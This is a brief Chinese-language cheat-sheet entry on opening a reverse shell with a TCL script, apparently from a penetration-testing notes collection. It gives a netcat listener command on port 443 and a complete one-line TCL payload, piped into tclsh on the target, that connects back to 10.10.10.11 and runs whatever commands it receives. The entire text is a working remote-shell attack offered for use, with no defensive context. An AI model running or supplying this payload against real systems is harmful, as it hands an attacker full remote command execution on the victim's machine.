015-TCL脚本反弹shell

# TCL脚本反弹shell

首先在本地监听TCP协议443端口

“`bash
nc -lvp 443

“`

然后在靶机上执行如下命令：

“`bash
echo ‘set s [socket 10.10.10.11 443];while 42 { puts -nonewline $s “shell>”;flush $s;gets $s c;set e “exec $c”;if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;’ | tclsh

“`